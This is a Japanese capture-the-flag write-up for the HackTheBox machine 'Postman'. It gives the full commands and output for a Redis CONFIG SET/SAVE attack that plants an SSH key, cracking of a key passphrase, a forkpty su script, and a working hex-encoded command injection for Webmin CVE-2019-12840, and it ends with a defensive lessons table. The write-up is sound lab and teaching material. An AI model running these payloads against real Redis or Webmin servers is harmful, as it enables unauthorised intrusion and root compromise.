Hack The BoxのWriteup(Postman)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Postman — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 6379/redis, 10000/webmin
→
Redis 認証なしアクセス
CONFIG SET + SAVE
→
authorized_keys 上書き
SSH公開鍵をRDBとして保存
→
SSH redis ログイン
/opt/id_rsa.bak 発見
→
john crack
passphrase: computer2008
→
su Matt
user.txt ✓
→
Webmin 1.910ログイン
Matt:computer2008 再利用
→
CVE-2019-12840
hexエンコードRCE
→
root権限コマンド実行 → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.1
RESULT
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt  (実際はWebmin)
BASH
nmap -sV -sC -p 22,80,6379,10000 10.129.2.1
RESULT
22/tcp    open  ssh    OpenSSH
80/tcp    open  http   Apache/2.4.29 (Ubuntu)
6379/tcp  open  redis  Redis key-value store 4.0.9
10000/tcp open  http   MiniServ 1.910 (Webmin httpd)
🚨
Redis 4.0.9とWebmin 1.910の組み合わせが今回の攻略の鍵。 Webmin 1.910には既知のクリティカルRCE脆弱性 CVE-2019-12840がある。
PHASE 2

Redis 認証なしアクセスの確認

認証なしでの接続確認

BASH
redis-cli -h 10.129.2.1 ping
redis-cli -h 10.129.2.1 info
RESULT
PONG
redis_version:4.0.9
...
config_file:/etc/redis/redis.conf
🚨
認証不要でRedisに接続できる。Redisはデフォルトで requirepass未設定だと誰でも全データを読み書き・設定変更できる、 非常に危険な構成になる。

既存データの確認

BASH
redis-cli -h 10.129.2.1 keys '*'
RESULT
(empty array)
ℹ️
保存データ自体は何もないが、Redisの設定コマンドを悪用して 任意のファイルに書き込めるという古典的な攻撃手法が使える。
PHASE 3

Redis 経由で SSH 公開鍵を注入

攻撃原理

NOTE
Redisは本来インメモリDB永続化のため、CONFIG SET dir/dbfilenameで
RDBスナップショットの保存先パス・ファイル名を変更し、SAVEコマンドで
現在のメモリ内容をそのファイルに書き出せる。

これを悪用し、
  1. SET コマンドで、値として「正しい形式のSSH公開鍵」を持つキーを作成
  2. CONFIG SET dir で保存先を "/var/lib/redis/.ssh" (redisユーザーの
     ホームディレクトリ内.sshフォルダ) に変更
  3. CONFIG SET dbfilename で保存ファイル名を "authorized_keys" に変更
  4. SAVE を実行

すると、RedisのバイナリなRDB形式のデータの中に、たまたま有効な
SSH公開鍵の行がそのまま含まれる形で "authorized_keys" が書き出され、
**SSHがそれを正規のauthorized_keysとして解釈してログインを許可する**。

鍵ペア生成 & Redisへの注入

BASH
# 鍵ペア生成
ssh-keygen -t rsa -b 2048 -f ./postman_redis -N "" -q

# 公開鍵の前後に空行を入れておくとRDBバイナリのゴミと公開鍵本体が
# 明確に分離されて解釈されやすくなる
(echo ""; echo ""; cat postman_redis.pub; echo ""; echo "") > key.txt

# SETコマンドで値としてRedisに書き込む(-xで標準入力から読む)
cat key.txt | redis-cli -h 10.129.2.1 -x set ssh_key

# 保存先ディレクトリとファイル名を変更
redis-cli -h 10.129.2.1 config set dir /var/lib/redis/.ssh
redis-cli -h 10.129.2.1 config set dbfilename authorized_keys

# 保存実行
redis-cli -h 10.129.2.1 save
RESULT
OK
OK
OK
OK
✅
すべてOKで成功。/var/lib/redis/.ssh/authorized_keysに 自分の公開鍵が書き込まれた(はず)。
PHASE 4

SSHログイン → id_rsa.bak クラック → su Matt → user.txt

redis ユーザーとしてSSHログイン

BASH
ssh -i postman_redis -o StrictHostKeyChecking=no redis@10.129.2.1
redis@Postman:~$ ls -la /opt/
RESULT
-rw-r--r-- 1 root root 1766 ... id_rsa.bak
✅
SSHログイン成功! /opt/に暗号化されたRSA秘密鍵の バックアップファイルを発見。

鍵の取得 & パスフレーズのクラック

BASH
scp -i postman_redis redis@10.129.2.1:/opt/id_rsa.bak .

ssh2john id_rsa.bak > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
john --show key.hash
RESULT
id_rsa.bak:computer2008

1 password hash cracked, 0 left
⚠️
重要な落とし穴: この鍵自体はSSH秘密鍵として使うには 対象アカウントが特定できない/鍵認証がそもそも許可されていない等の 理由で直接は使えない。しかしこのパスフレーズ自体がMattユーザーの OSログイン(su)パスワードとして再利用されていることに着目する。

su Matt → user.txt

NOTE
su は標準入力がTTYであることを要求するため、redisシェル内から非対話で
"su Matt"を実行してパスワードを渡すには疑似端末(pty)が必要。
Python の os.forkpty() で子プロセスとしてsuを起動し、親プロセスから
fdにパスワードを書き込む方式で非対話実行する。
PYTHON (forkptyでの非対話su、redisシェル内で実行)
import os, time, sys

pid, fd = os.forkpty()
if pid == 0:
    os.execvp('su', ['su', 'Matt', '-c', 'cat /home/Matt/user.txt'])
else:
    time.sleep(1)
    os.write(fd, b'computer2008\n')   # suのパスワードプロンプトへ応答
    time.sleep(1)
    out = b''
    try:
        while True:
            d = os.read(fd, 1024)
            if not d:
                break
            out += d
    except OSError:
        pass
    sys.stdout.write(out.decode('latin-1'))
BASH (redisシェル内での実行方法)
# 上記Pythonコードをbase64化してワンライナーで実行
echo "<base64エンコードしたコード>" | base64 -d | python3
RESULT
Password:
26807812c8ef3cd02ff8ba8dccac75f2
user.txt — Matt
26807812c8ef3cd02ff8ba8dccac75f2
✅
成功! Matt:computer2008という資格情報が確定した。 これは次のWebminログインでも再利用する。
PHASE 5

Webmin へのログイン

資格情報の再利用でログイン

BASH
# Webminは自己署名証明書のためcurlに -k (証明書検証スキップ) が必要。
# redirect=1; testing=1 クッキーが無いとログインがダッシュボードHTMLを
# 返すだけで本来のセッションとして機能しない(Webminの内部挙動の罠)
curl -sk -c cookies.txt --max-time 15 \
  https://10.129.2.1:10000/session_login.cgi \
  -H "Cookie: redirect=1; testing=1" \
  --data "user=Matt&pass=computer2008"
RESULT
(出力なし — 302リダイレクト、cookies.txtにセッションIDが保存される)
⚠️
重要な落とし穴: redirect=1; testing=1クッキーを付けずに ログインすると、後続のモジュールアクセス(package-updates等)が 正規のセッションとして認識されずテーマ/ダッシュボードHTMLを 返すだけになり、脆弱なエンドポイントにたどり着けない。
PHASE 6

CVE-2019-12840 (Webmin package-updates RCE) → root.txt

脆弱性の原理

NOTE
Webmin 1.890〜1.910の "Software Package Updates" モジュール
(/package-updates/update.cgi) は、更新対象パッケージ名を示す "u" パラメータを
内部で system() 等に渡してパッケージマネージャーコマンドを組み立てる。
このパラメータに対する検証が不十分で、OSコマンドインジェクションが成立する
(CVE-2019-12840)。

**本ターゲット特有の罠**: このWebminの実装では "u" パラメータの値を
"/" で分割・末尾を切り詰める処理が入っている。つまり、ペイロードに
"/"(スラッシュ)を含む通常のパス付きコマンド(例: cat /root/root.txt)を
そのまま渡すと途中で切断されてしまい動作しない。
🚨
回避策: 実行したいコマンドを16進数(hex)エンコードして スラッシュを含まない文字列に変換し、ターゲット側で echo <hex>|xxd -r -p|shという形でデコード・実行させる。 hex文字列自体は0-9a-fのみで構成されるため”/”は一切含まれない。

ペイロード組み立て

PYTHON (hexエンコードペイロード生成)
cmd = "cat /root/root.txt"
hexcmd = cmd.encode().hex()
print(hexcmd)
# → 636174202f726f6f742f726f6f742e747874

# $IFS はシェルの単語分割用変数(デフォルトはスペース/タブ/改行)。
# 直接スペースを含めると "u" パラメータの別の分割処理に引っかかることがあるため
# ${IFS} に置き換えてスペースの代わりに使う
payload = f"u=acl/apt&u=$(echo${{IFS}}{hexcmd}|xxd${{IFS}}-r${{IFS}}-p|sh)"
print(payload)
NOTE
"u=acl/apt" という1つ目のuパラメータは正規のダミーパッケージ名として
送り、2つ目の "u=$(...)" の方にコマンドインジェクションを仕込む
(同名パラメータを複数渡すHTTPの仕様を利用し、サーバー側の処理次第で
2個目の値が実質的な注入ポイントとして使われる)。

RCE実行

BASH
curl -sk -b cookies.txt --max-time 25 \
  https://10.129.2.1:10000/package-updates/update.cgi \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "X-Requested-From: package-updates" \
  -H "Referer: https://10.129.2.1:10000/package-updates/" \
  --data 'u=acl/apt&u=$(echo${IFS}636174202f726f6f742f726f6f742e747874|xxd${IFS}-r${IFS}-p|sh)'
RESULT (抜粋)
<title>Update Packages - Webmin 1.910 on Postman. (Ubuntu Linux 18.04.3)</title>
...
E: Unable to locate package 08b83fe1523be5b75ae05c6c6a671f2b
✅
権限昇格成功! Webminのpackage-updatesモジュールはroot権限で 稼働しているため、注入したコマンド(cat /root/root.txt)の出力結果が 「そんな名前のパッケージは無い」というaptのエラーメッセージの パッケージ名部分としてそのままHTTPレスポンスに現れる、という 少し変わった形でフラグを回収できる。
root.txt — /root (Webmin経由RCE)
08b83fe1523be5b75ae05c6c6a671f2b
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Matt
26807812c8ef3cd02ff8ba8dccac75f2
root.txt — /root
08b83fe1523be5b75ae05c6c6a671f2b

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
認証なしRedis Redis 4.0.9 (6379、requirepass未設定) 任意ファイル書込によるSSH侵入(redisユーザー) Critical CONFIG SET dir/dbfilename + SAVE で authorized_keys にSSH公開鍵を書き込み
バックアップファイルの平文等価な資格情報再利用 /opt/id_rsa.bak のパスフレーズ Mattユーザーへの昇格(user.txt) High ssh2john+johnでクラックしたパスフレーズをsuのOSログインパスワードとして再利用
CVE-2019-12840 Webmin 1.890-1.910 package-updates/update.cgi root権限でのOSコマンド実行(root.txt) Critical uパラメータへのコマンドインジェクション、hexエンコードで”/”切り詰め対策を回避

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート22/80/6379/10000、Redis 4.0.9・Webmin 1.910確認
2Redis確認redis-cli ping/info認証なしアクセス可能
3鍵注入CONFIG SET + SAVEauthorized_keysにSSH公開鍵書込
4水平展開SSH redis → id_rsa.bak crack → forkpty su Mattuser.txt取得、Matt:computer2008確定
5Webminログインsession_login.cgi + redirect/testingクッキー有効なWebminセッション
6権限昇格CVE-2019-12840 hexエンコードRCEroot.txt取得

トラブルシューティング & 実装上の落とし穴

問題原因 / 対策
Redisで保存したauthorized_keysでSSHログインできない 公開鍵の前後に空行を入れてSAVE前に書き込むと、RDBバイナリのゴミとの境界が明確になり認識されやすくなる。保存先が/var/lib/redis/.ssh(redisユーザーのホーム)であることを確認する。
id_rsa.bakの秘密鍵でSSHログインを試しても失敗する このバックアップ鍵はそのままSSH認証に使えるようには設定されていない。クラックしたパスフレーズ自体を別の用途(OSログインパスワード)として再利用できないか試す発想の転換が必要。
redisシェル内でsuをそのまま実行してもパスワードプロンプトに応答できない suはTTYを要求する。os.forkpty()で疑似端末を確保し、そのfdにパスワードを書き込む方式にすると非対話でも動作する。
Webminにログインしても package-updates 等のモジュールが正規のレスポンスを返さない Cookie: redirect=1; testing=1を付けずにログインすると、後続のリクエストがダッシュボードHTML等を返すだけになる。ログイン時に必ずこのクッキーを設定する。
コマンドインジェクションのペイロードに”/”を含むパスを直接書くと動かない このWebminの実装はuパラメータを”/”で分割・切り詰める処理がある。実行したいコマンドをhexエンコードし、ターゲット側でecho <hex>|xxd -r -p|shでデコード実行させることで”/”を含むコマンドも安全に注入できる。

学んだ教訓 & 防御策

問題点防御策
Redisが認証なし(requirepass未設定)で外部に公開されている Redisは必ずrequirepassを設定し、可能であればbind 127.0.0.1でローカルホスト限定にする。外部公開が必要な場合はTLS+強固な認証+ファイアウォールでアクセス元を制限する。
バックアップファイルがウェブサーバーからアクセス可能な場所に残っている、かつそのパスフレーズが他システムのログインパスワードと共通 バックアップファイルは適切な場所に保管し不要になったら削除する。パスワード/パスフレーズはシステム・用途ごとに一意にする。
既知のクリティカルRCE(CVE-2019-12840)が存在する旧バージョンのWebminを使用 Webminを含む管理系ソフトウェアは速やかにパッチ適用・バージョン更新する。管理インターフェースは可能な限りVPN/踏み台経由でのみアクセス可能にし、インターネットに直接公開しない。
HackTheBox: Postman | 完全攻略レポート